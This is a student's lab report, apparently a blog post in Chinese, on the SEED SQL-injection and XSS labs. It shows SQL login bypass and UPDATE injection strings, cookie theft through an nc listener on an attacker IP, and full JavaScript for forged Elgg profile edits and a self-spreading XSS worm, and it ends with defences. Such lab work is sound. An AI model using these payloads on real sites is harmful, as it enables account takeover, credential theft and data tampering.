20212907 2021-2022-2 《网络攻防实践》实践十报告

一.实践内容

1.XSS跨站脚本攻击
XSS(Cross Site Scripting),为不和层叠样式表CSS混淆,故将跨站脚本攻击缩写为XSS。
攻击原理:
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入其中的Script代码会被执行,从而达到恶意攻击用户的目的。
XSS攻击按类型可以分为三种:
反射性XSS :非持久型的XSS,没有长期被放在服务器中,是现在最容易出现的一种XSS 漏 洞。当用户在请求某一个URL得治的时候,会携带某一部分数据。当客户端进行访问某一条链接的时候,攻击者就可以将恶意的代码植入到URL中,如果服务器端未对URL的参数做判断或者是过滤,直接就返回相应页面,那么XSS攻击代码就会一起被传输到用户的浏览器,从而出发反射型XSS。可配合短链接实现钓鱼。反射型XSS的payload常常是构造在网站的某一个通过GET传递的参数中。(对应的数据流向是:浏览器---后端---浏览器)

存储型XSS :存储型XSS又叫做持久型XSS。它是危害最大的XSS。这种类型的XSS可以将恶意的攻击代码持久化的保存在服务器上,然后被显示到HTML页面中。此类型的XSS漏洞经常出现 在用户评论的页面,将攻击者精心构造的恶意代码保存在数据库中。如果其他的用户访问到该页面时就会触发恶意的XSS代码执行,从而窃取用户的信息。(数据流向:浏览器---后端---数据库---后端---浏览器)

DOM型XSS :DOM是由许多不同类型的节点共同组成,主要由元素节点、文本节点、属性节点。DOM型XSS漏洞是基于文档对象模型的一种漏洞。这种XSS和反射型XSS、存储型XSS的原理上由本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠的是浏览器端的DOM解析。客户端上的JS脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获得数据并执行。在客户端直接输出DOM内容的时候非常容易触发DOM型XSS漏洞,如doccment.getElementByld("x").innerHTML、doccument.write等。

1.1 存储型XSS
存储型XSS,顾名思义就是攻击者上传的恶意脚本的数据被保存到数据库中,当页面渲染的时候如果执行到这段脚本,网站就会被攻击。

这种攻击常见于支持用户保存数据的网站,如论坛发帖、商品评论、用户私信、留言等功能。
简单示例1:
一个网站留言栏黑客输入了如下内容

如果网站没做处理,那么所有用户打开这个网站的留言栏都会弹出hello的一个框,严重影响了用户体验,甚至还可以窃取cookie。

1.2 反射型XSS
反射型XSS,又称非持久型XSS,也已代码没有被保存到目标网站,而是通过引诱用户点击一个恶意链接来实施攻击。

1.3 DOM型XSS
DOM型XSS其实就是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞,不需要与服务端进行交互。

1.4 攻击原理及危害分析
基本实现原理:
·通过img标签的src发送数据
·构造表单诱导用户输入账号密码
·构造隐藏的form表单自动提交
·页面强制跳转
·植入文字链接、图片链接
·构造iframe
·构造其他HTML标签

潜在危害:
·获取其他用户的Cookie,冒充身份登录
·构造表单诱导用户输入账号密码,盗取账密
·跳转到其他网站,窃取流量
·植入广告、外链
·通过隐藏友链提升网站百度权重

1.5 XSS漏洞预防
对用户的输入进行验证
包括前端页面和后端,都需要对用户输入进行验证和限制,包括输入长度验证、特殊字符限制。可以使用apache commons text、使用owasp AntiSamy等框架进行字符校验。

1.6 内容安全策略防护
内容安全策略(CSP :Content-Security-Policy)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本和数据注入攻击。
CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。

1.7 XSS漏洞扫描工具
常见的扫描工具有: Safe3WVS,Burp Suite ,AWVS,AppScan,W3af,Arachni,Acunetix等。

2.SQL注入
参考:https://baijiahao.baidu.com/s?id=1678790551522549759&wfr=spider&for=pc

  • SQL注入漏洞最主要的形成原因是在进行数据交互中,当前端的数据传入后端进行处理时,由于没有做严格的判断,导致其传入的“数据”在拼接到SQL语句中之后,由于其特殊性,被当作SQL语句的一部分被执行,从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。
    SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据「越俎代庖」做了代码才能干的事情。
    这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。
  • SQL注入的产生需要满足以下两个条件:
    参数用户可控:前端传给后端的参数用户可控;
    参数带入数据库查询:传入的参数拼接到SQL语句中,且带入数据库中查询。
  • SQL注入类型:
    1、按照注入点分类:
    (1)数字型注入:许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,注入点id为数字,一般被叫做数字型注入点,通过这种形式查询出后台数据库信息返回前台展示,可以构造类似以下的SQL语句进行爆破:select *** from 表名 where id=1 and 1=1。
    (2)字符型注入:网页链接有类似的结构
    http://xxx.com/users.php?name=admin 这种形式,注入点name为字符串,被称为字符型注入,可以用:select *** from 表名 where name='admin' and 1=1。
    (3)搜索型注入:主要是指在数据搜索时没有过滤搜索参数,一般在链接地址中有 "keyword=“关键字”",注入点提交的是SQL语句,select * from 表名 where 字段 like '%关键字%' and '%1%'='%1%'。
    2、按照执行效果来分类:
    (1)基于布尔的盲注:根据页面返回判断条件真假注入。
    (2)基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
    (3)基于报错的注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
    单引号
    双引号
    基于数字型注入
    (4)联合查询注入:可以使用union情况下注入。
  • SQL注入常见的绕过方法:
    (1)大小写关键词绕过(UNiOn)
    (2)双写关键词绕过(ununionion)
    (3)编码绕过(base64、url)
    (4)内联注释绕过(/*! Union */)

二.实践过程

2.1 实践一:SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入攻击漏洞。

2.1.1环境配置

  • 虚拟机为SEEDUbuntu16.04,用户名seed,密码dees
    运行Apache Server: 使用指令sudo service apache2 start启动Apache服务,可用指令sudo systemctl status apache2来查看是否成功启动

2.1.2 熟悉SQL语句

  • 首先通过指令mysql -u root -pseedubuntu登录MySql数据库,-u制定用户名,-p指定密码。用户名是root,密码是seedubuntu,登录MySQL控制台

  • 输入命令 show databases;查看所有数据库,使用命令use Users;加载Users数据库。

  • 输入show tables;查看库中有哪些表

  • 使用指令select * from credential;来打印所有员工的信息,可看到员工的姓名、工资以及hash之后的密码

2.1.3 对SELECT语句的SQL注入攻击

  • 进入SEED的Web页面:www.SEEDLabSQLInjection.com

  • 快捷键ctrl+U查看当前网页的源代码,用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验

  • 如果我们输入的username字段为Admin'#,Password可以是任意值。因为#在sql语句中代表注释,代码中#之后的内容在实际执行sql语句的过程中是看不到的。

  • 在/var/www/SQLInjection中找到该页面,并对其中的代码进行分析,可以看出,进行登录时,会区分管理员账户和普通用户账户,并且发现登录时的查询语句为
    SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= '$input_name' and Password='$hashed_pwd';

  • 在登录框输入用户名为Admin'#,这个语句就会变成 SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= 'Admin'# and Password='$hashed_pwd';`

登录成功,可以看到所有用户的详细信息。

  • 用命令行完成管理员登录,可以使用curl工具,在终端输入curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'就可以成功登录,通过返回的数据,可知攻击成功。

2.1.4 对UPDATE语句的SQL注入攻击

  • 在edit中它get了unsafe_edit_backend.php,vim /var/www/SQLInjection/unsafe_edit_backend.php

  • 登录Alice的账号,利用前面的漏洞,用Alice' #登录,可以看到对应的信息

  • 在NickName里输入语句salary='500000' where EID='10000';#,这样#后面的就会被注释,所以就直接执行set salary='500000' where EID = '10000' 这个指令,直接就修改了工资.攻击成功。

  • 修改其他用户的密码。由于密码在数据库中是以sha1的形式存储的,那么我们需要获取一个指定密码的sha1值。使用指令echo -n '123'|sha1sum输出密码123的sha1值

  • 用Alice的账户登录,继续在edit profile那里修改用户名,填上以下指令进行sha1值的修改', Password='40bd001563085fc35165329ea1ff5c5ecbdbbeef' where Name='Boby';#。这个时候我们正常登陆Boby的账户,发现通过我们修改的123密码已经能够完成正常的登录,完成攻击。

2.2 SEED XSS攻击实验
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
弹窗显示cookie信息:将cookie信息显示。
窃取受害者的cookies:将cookie发送给攻击者。
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
编写XSS蠕虫。
对抗XSS攻击。

  • 我们使用Alice作为攻击者,Boby作为受害者,Admin作为蠕虫攻击的第二波受害者。Alice的账户为alice密码aliceseed,Boby账户boby密码seedboby,Admin账户名admin密码seedelgg

(1)发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口

  • 访问实验网站http://www.xsslabelgg.com,使用 Alice 的账户进行登录,用户名为alice,密码为 seedalice。
    在个人主页这里进行 Edit profile,在 Brief description中输入XSS攻击代码显示警告。点击save保存,有如下弹窗。

  • 退出Alice账号,使用用户名:密码为Boby:seedboby,登录。Friends-Search,搜索Alice添加她为朋友。

  • 点击Alice头像,会看到警告窗口

(2)弹窗显示cookie信息:将cookie信息显示

  • 在Boby账号的Brief description插入JS语句

  • 点击Save保存,会有弹窗显示当前Boby用户的的cookie信息

  • 登录Alice的账号查看Boby信息,也会有相关弹窗

(3)窃取受害者的cookies:将cookie发送给攻击者

  • 查看本机IP:192.168.1.111

  • 使用命令nc -l 5555 -v开始监听5555端口,其中 -l 指定端口, -v 显示详细信息

  • 在Alice账号的Brief description插入js语句其中,192.168.1.111为本机(攻击机)IP。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。使用JavaScript将cookies发送到攻击者机器的9999端口(非重复端口即可),若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。

  • 点击Save,监听结果显示当用户访问Alice profile时,打印出Boby用户的cookies。

(4)成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程

  • 首先Alice的账户中访问用户Boby的主页,并查看添加朋友的时候都需要干什么。打开浏览器的Tools-Web Developer-Network,点击Reload,点击Add friend

  • 看到拦截到一个窗口,可以看到添加朋友请求的网址是http://...add?friend=...以及添加对象、当前时间等一系列参数

  • 接下来构造javascript代码,其中的sendurl中包含了加朋友所需要的东西、。这段代码构建了一个添加朋友的请求,
    获取当前elgg_ts和elgg_token,然后构造一个URL访问,将这段代码添加到Alice的About me中(这里注意要是edit HTML模式)

  • 登录Boby账号访问Alice主页,自动添加Alice为好友

(5)修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改
在XSS攻击之前,我们首先要知道:在正常的情况下,修改简介应该发送什么样的指令。为此我们点击Edit profile,并同时使用HTTP Header Live查看发送的数据。可以得到请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/profile/edit,请求地址的第一个参数是&__elgg_token=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__name=elgg.session.user.name。结合分析得到的信息,可以编写出如下的代码,用于xss攻击自动添加好友。

 <script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>
  • 将代码放到alice的about me中。登陆boby账号访问Alice的个人主页可以看到信息被成功修改

(6)编写XSS蠕虫
使用调用DOM API的方法,编写出一个蠕虫病毒代码如下,放到Alice 的 About me 中保存。

 <script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>
  • 还是将代码放入Alice的about me处,切换账户让boby去访问Alice主页,这时候蠕虫病毒已经侵染了Boby的主页。为证明该信息,可用admin用户去访问一下boby,可看到admin用户也被感染

(7)对抗XSS攻击

  • Elgg本身已提供对抗XSS攻击插件,可用管理员账户登录账号密码为Admin,seedelgg,找到Account->administration->plugins,找到插件HTMLawed,点击activate激活。这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。

  • 查看Alice的profile,可以看到,刚刚的XSS攻击已经没有效果,Alice中的代码被当作about me显示出来了

三.学习中遇到的问题及解决

  • 问题1:在修改About Me那里的时候没有显示正确的结果。
  • 问题1解决方案: 改成正确的网页模式即可。
  • 问题2:SeedUbuntu安装时显示版本不匹配。
  • 问题2解决方案:重新载入并安装了vmx文件。

四.实践总结

通过这次实验,学习了SQL注入和XSS攻击的相关原理与方法,也加深了防范网络攻击的意识等。但是由于基础知识不够强,还需要进一步学习。

posted @ 2022-05-22 19:36  白桃令  阅读(108)  评论(0编辑  收藏  举报